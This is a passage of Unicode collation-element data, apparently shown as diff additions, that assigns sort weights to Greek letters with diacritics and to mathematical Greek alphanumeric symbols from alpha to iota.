+1F0C  ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA
+1F84  ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+1F8C  ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+1F02  ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA
+1F0A  ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA
+1F82  ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+1F8A  ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+1F06  ; [.1FB9.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI
+1F0E  ; [.1FB9.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI
+1F86  ; [.1FB9.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+1F8E  ; [.1FB9.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+1F80  ; [.1FB9.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI
+1F88  ; [.1FB9.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI
+1F01  ; [.1FB9.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ALPHA WITH DASIA
+1F09  ; [.1FB9.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA
+1F05  ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA
+1F0D  ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA
+1F85  ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+1F8D  ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+1F03  ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA
+1F0B  ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA
+1F83  ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+1F8B  ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+1F07  ; [.1FB9.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI
+1F0F  ; [.1FB9.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI
+1F87  ; [.1FB9.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+1F8F  ; [.1FB9.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+1F81  ; [.1FB9.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI
+1F89  ; [.1FB9.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI
+03AC  ; [.1FB9.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH TONOS
+1F71  ; [.1FB9.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH OXIA
+0386  ; [.1FB9.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH TONOS
+1FBB  ; [.1FB9.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH OXIA
+1FB4  ; [.1FB9.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI
+1F70  ; [.1FB9.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH VARIA
+1FBA  ; [.1FB9.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH VARIA
+1FB2  ; [.1FB9.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI
+1FB0  ; [.1FB9.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER ALPHA WITH VRACHY
+1FB8  ; [.1FB9.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER ALPHA WITH VRACHY
+1FB6  ; [.1FB9.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI
+1FB7  ; [.1FB9.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI
+1FB1  ; [.1FB9.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER ALPHA WITH MACRON
+1FB9  ; [.1FB9.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER ALPHA WITH MACRON
+1FB3  ; [.1FB9.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI
+1FBC  ; [.1FB9.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI
+03B2  ; [.1FBA.0020.0002] # GREEK SMALL LETTER BETA
+03D0  ; [.1FBA.0020.0004] # GREEK BETA SYMBOL
+1D6C3 ; [.1FBA.0020.0005] # MATHEMATICAL BOLD SMALL BETA
+1D6FD ; [.1FBA.0020.0005] # MATHEMATICAL ITALIC SMALL BETA
+1D737 ; [.1FBA.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL BETA
+1D771 ; [.1FBA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL BETA
+1D7AB ; [.1FBA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL BETA
+0392  ; [.1FBA.0020.0008] # GREEK CAPITAL LETTER BETA
+1D6A9 ; [.1FBA.0020.000B] # MATHEMATICAL BOLD CAPITAL BETA
+1D6E3 ; [.1FBA.0020.000B] # MATHEMATICAL ITALIC CAPITAL BETA
+1D71D ; [.1FBA.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL BETA
+1D757 ; [.1FBA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL BETA
+1D791 ; [.1FBA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL BETA
+1D5D  ; [.1FBA.0020.0014] # MODIFIER LETTER SMALL BETA
+1D66  ; [.1FBA.0020.0015] # GREEK SUBSCRIPT SMALL LETTER BETA
+03B3  ; [.1FBB.0020.0002] # GREEK SMALL LETTER GAMMA
+213D  ; [.1FBB.0020.0005] # DOUBLE-STRUCK SMALL GAMMA
+1D6C4 ; [.1FBB.0020.0005] # MATHEMATICAL BOLD SMALL GAMMA
+1D6FE ; [.1FBB.0020.0005] # MATHEMATICAL ITALIC SMALL GAMMA
+1D738 ; [.1FBB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL GAMMA
+1D772 ; [.1FBB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL GAMMA
+1D7AC ; [.1FBB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL GAMMA
+0393  ; [.1FBB.0020.0008] # GREEK CAPITAL LETTER GAMMA
+213E  ; [.1FBB.0020.000B] # DOUBLE-STRUCK CAPITAL GAMMA
+1D6AA ; [.1FBB.0020.000B] # MATHEMATICAL BOLD CAPITAL GAMMA
+1D6E4 ; [.1FBB.0020.000B] # MATHEMATICAL ITALIC CAPITAL GAMMA
+1D71E ; [.1FBB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL GAMMA
+1D758 ; [.1FBB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL GAMMA
+1D792 ; [.1FBB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL GAMMA
+1D5E  ; [.1FBB.0020.0014] # MODIFIER LETTER SMALL GREEK GAMMA
+1D67  ; [.1FBB.0020.0015] # GREEK SUBSCRIPT SMALL LETTER GAMMA
+1D26  ; [.1FBC.0020.0002] # GREEK LETTER SMALL CAPITAL GAMMA
+03B4  ; [.1FBD.0020.0002] # GREEK SMALL LETTER DELTA
+1D6C5 ; [.1FBD.0020.0005] # MATHEMATICAL BOLD SMALL DELTA
+1D6FF ; [.1FBD.0020.0005] # MATHEMATICAL ITALIC SMALL DELTA
+1D739 ; [.1FBD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL DELTA
+1D773 ; [.1FBD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL DELTA
+1D7AD ; [.1FBD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL DELTA
+0394  ; [.1FBD.0020.0008] # GREEK CAPITAL LETTER DELTA
+1D6AB ; [.1FBD.0020.000B] # MATHEMATICAL BOLD CAPITAL DELTA
+1D6E5 ; [.1FBD.0020.000B] # MATHEMATICAL ITALIC CAPITAL DELTA
+1D71F ; [.1FBD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL DELTA
+1D759 ; [.1FBD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL DELTA
+1D793 ; [.1FBD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL DELTA
+1D5F  ; [.1FBD.0020.0014] # MODIFIER LETTER SMALL DELTA
+03B5  ; [.1FBE.0020.0002] # GREEK SMALL LETTER EPSILON
+03F5  ; [.1FBE.0020.0004] # GREEK LUNATE EPSILON SYMBOL
+1D6C6 ; [.1FBE.0020.0005] # MATHEMATICAL BOLD SMALL EPSILON
+1D6DC ; [.1FBE.0020.0005] # MATHEMATICAL BOLD EPSILON SYMBOL
+1D700 ; [.1FBE.0020.0005] # MATHEMATICAL ITALIC SMALL EPSILON
+1D716 ; [.1FBE.0020.0005] # MATHEMATICAL ITALIC EPSILON SYMBOL
+1D73A ; [.1FBE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL EPSILON
+1D750 ; [.1FBE.0020.0005] # MATHEMATICAL BOLD ITALIC EPSILON SYMBOL
+1D774 ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL EPSILON
+1D78A ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL
+1D7AE ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL EPSILON
+1D7C4 ; [.1FBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL
+0395  ; [.1FBE.0020.0008] # GREEK CAPITAL LETTER EPSILON
+1D6AC ; [.1FBE.0020.000B] # MATHEMATICAL BOLD CAPITAL EPSILON
+1D6E6 ; [.1FBE.0020.000B] # MATHEMATICAL ITALIC CAPITAL EPSILON
+1D720 ; [.1FBE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL EPSILON
+1D75A ; [.1FBE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL EPSILON
+1D794 ; [.1FBE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL EPSILON
+1F10  ; [.1FBE.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER EPSILON WITH PSILI
+1F18  ; [.1FBE.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI
+1F14  ; [.1FBE.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA
+1F1C  ; [.1FBE.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA
+1F12  ; [.1FBE.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA
+1F1A  ; [.1FBE.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA
+1F11  ; [.1FBE.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER EPSILON WITH DASIA
+1F19  ; [.1FBE.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA
+1F15  ; [.1FBE.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
+1F1D  ; [.1FBE.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
+1F13  ; [.1FBE.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA
+1F1B  ; [.1FBE.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA
+03AD  ; [.1FBE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH TONOS
+1F73  ; [.1FBE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH OXIA
+0388  ; [.1FBE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH TONOS
+1FC9  ; [.1FBE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH OXIA
+1F72  ; [.1FBE.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH VARIA
+1FC8  ; [.1FBE.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH VARIA
+03DD  ; [.1FBF.0020.0002] # GREEK SMALL LETTER DIGAMMA
+1D7CB ; [.1FBF.0020.0005] # MATHEMATICAL BOLD SMALL DIGAMMA
+03DC  ; [.1FBF.0020.0008] # GREEK LETTER DIGAMMA
+1D7CA ; [.1FBF.0020.000B] # MATHEMATICAL BOLD CAPITAL DIGAMMA
+0377  ; [.1FC0.0020.0002] # GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
+0376  ; [.1FC0.0020.0008] # GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA
+03DB  ; [.1FC1.0020.0002] # GREEK SMALL LETTER STIGMA
+03DA  ; [.1FC1.0020.0008] # GREEK LETTER STIGMA
+03B6  ; [.1FC2.0020.0002] # GREEK SMALL LETTER ZETA
+1D6C7 ; [.1FC2.0020.0005] # MATHEMATICAL BOLD SMALL ZETA
+1D701 ; [.1FC2.0020.0005] # MATHEMATICAL ITALIC SMALL ZETA
+1D73B ; [.1FC2.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ZETA
+1D775 ; [.1FC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ZETA
+1D7AF ; [.1FC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ZETA
+0396  ; [.1FC2.0020.0008] # GREEK CAPITAL LETTER ZETA
+1D6AD ; [.1FC2.0020.000B] # MATHEMATICAL BOLD CAPITAL ZETA
+1D6E7 ; [.1FC2.0020.000B] # MATHEMATICAL ITALIC CAPITAL ZETA
+1D721 ; [.1FC2.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ZETA
+1D75B ; [.1FC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ZETA
+1D795 ; [.1FC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ZETA
+0371  ; [.1FC3.0020.0002] # GREEK SMALL LETTER HETA
+0370  ; [.1FC3.0020.0008] # GREEK CAPITAL LETTER HETA
+03B7  ; [.1FC4.0020.0002] # GREEK SMALL LETTER ETA
+1D6C8 ; [.1FC4.0020.0005] # MATHEMATICAL BOLD SMALL ETA
+1D702 ; [.1FC4.0020.0005] # MATHEMATICAL ITALIC SMALL ETA
+1D73C ; [.1FC4.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ETA
+1D776 ; [.1FC4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ETA
+1D7B0 ; [.1FC4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ETA
+0397  ; [.1FC4.0020.0008] # GREEK CAPITAL LETTER ETA
+1D6AE ; [.1FC4.0020.000B] # MATHEMATICAL BOLD CAPITAL ETA
+1D6E8 ; [.1FC4.0020.000B] # MATHEMATICAL ITALIC CAPITAL ETA
+1D722 ; [.1FC4.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ETA
+1D75C ; [.1FC4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ETA
+1D796 ; [.1FC4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ETA
+1F20  ; [.1FC4.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ETA WITH PSILI
+1F28  ; [.1FC4.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ETA WITH PSILI
+1F24  ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA
+1F2C  ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA
+1F94  ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+1F9C  ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+1F22  ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA
+1F2A  ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA
+1F92  ; [.1FC4.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+1F9A  ; [.1FC4.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+1F26  ; [.1FC4.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI
+1F2E  ; [.1FC4.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI
+1F96  ; [.1FC4.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+1F9E  ; [.1FC4.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+1F90  ; [.1FC4.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI
+1F98  ; [.1FC4.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI
+1F21  ; [.1FC4.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ETA WITH DASIA
+1F29  ; [.1FC4.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ETA WITH DASIA
+1F25  ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA
+1F2D  ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA
+1F95  ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+1F9D  ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+1F23  ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA
+1F2B  ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA
+1F93  ; [.1FC4.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+1F9B  ; [.1FC4.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+1F27  ; [.1FC4.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI
+1F2F  ; [.1FC4.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI
+1F97  ; [.1FC4.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+1F9F  ; [.1FC4.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+1F91  ; [.1FC4.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI
+1F99  ; [.1FC4.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI
+03AE  ; [.1FC4.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH TONOS
+1F75  ; [.1FC4.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH OXIA
+0389  ; [.1FC4.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH TONOS
+1FCB  ; [.1FC4.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH OXIA
+1FC4  ; [.1FC4.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI
+1F74  ; [.1FC4.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH VARIA
+1FCA  ; [.1FC4.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH VARIA
+1FC2  ; [.1FC4.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI
+1FC6  ; [.1FC4.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI
+1FC7  ; [.1FC4.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI
+1FC3  ; [.1FC4.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI
+1FCC  ; [.1FC4.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI
+03B8  ; [.1FC5.0020.0002] # GREEK SMALL LETTER THETA
+03D1  ; [.1FC5.0020.0004] # GREEK THETA SYMBOL
+1D6C9 ; [.1FC5.0020.0005] # MATHEMATICAL BOLD SMALL THETA
+1D6DD ; [.1FC5.0020.0005] # MATHEMATICAL BOLD THETA SYMBOL
+1D703 ; [.1FC5.0020.0005] # MATHEMATICAL ITALIC SMALL THETA
+1D717 ; [.1FC5.0020.0005] # MATHEMATICAL ITALIC THETA SYMBOL
+1D73D ; [.1FC5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL THETA
+1D751 ; [.1FC5.0020.0005] # MATHEMATICAL BOLD ITALIC THETA SYMBOL
+1D777 ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL THETA
+1D78B ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD THETA SYMBOL
+1D7B1 ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL THETA
+1D7C5 ; [.1FC5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC THETA SYMBOL
+0398  ; [.1FC5.0020.0008] # GREEK CAPITAL LETTER THETA
+03F4  ; [.1FC5.0020.000A] # GREEK CAPITAL THETA SYMBOL
+1D6AF ; [.1FC5.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA
+1D6B9 ; [.1FC5.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA SYMBOL
+1D6E9 ; [.1FC5.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA
+1D6F3 ; [.1FC5.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA SYMBOL
+1D723 ; [.1FC5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA
+1D72D ; [.1FC5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA SYMBOL
+1D75D ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA
+1D767 ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA SYMBOL
+1D797 ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA
+1D7A1 ; [.1FC5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA SYMBOL
+1DBF  ; [.1FC5.0020.0014] # MODIFIER LETTER SMALL THETA
+03B9  ; [.1FC6.0020.0002] # GREEK SMALL LETTER IOTA
+1FBE  ; [.1FC6.0020.0002] # GREEK PROSGEGRAMMENI
+037A  ; [.1FC6.0020.0004] # GREEK YPOGEGRAMMENI
+1D6CA ; [.1FC6.0020.0005] # MATHEMATICAL BOLD SMALL IOTA
+1D704 ; [.1FC6.0020.0005] # MATHEMATICAL ITALIC SMALL IOTA
+1D73E ; [.1FC6.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL IOTA
+1D778 ; [.1FC6.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL IOTA
+1D7B2 ; [.1FC6.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL IOTA
+0399  ; [.1FC6.0020.0008] # GREEK CAPITAL LETTER IOTA
+1D6B0 ; [.1FC6.0020.000B] # MATHEMATICAL BOLD CAPITAL IOTA
+1D6EA ; [.1FC6.0020.000B] # MATHEMATICAL ITALIC CAPITAL IOTA
+1D724 ; [.1FC6.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL IOTA
+1D75E ; [.1FC6.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL IOTA
+1D798 ; [.1FC6.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL IOTA
+1F30  ; [.1FC6.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER IOTA WITH PSILI
+1F38  ; [.1FC6.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI
+1F34  ; [.1FC6.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND OXIA
+1F3C  ; [.1FC6.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA
+1F32  ; [.1FC6.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND VARIA
+1F3A  ; [.1FC6.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA
+1F36  ; [.1FC6.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI
+1F3E  ; [.1FC6.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI
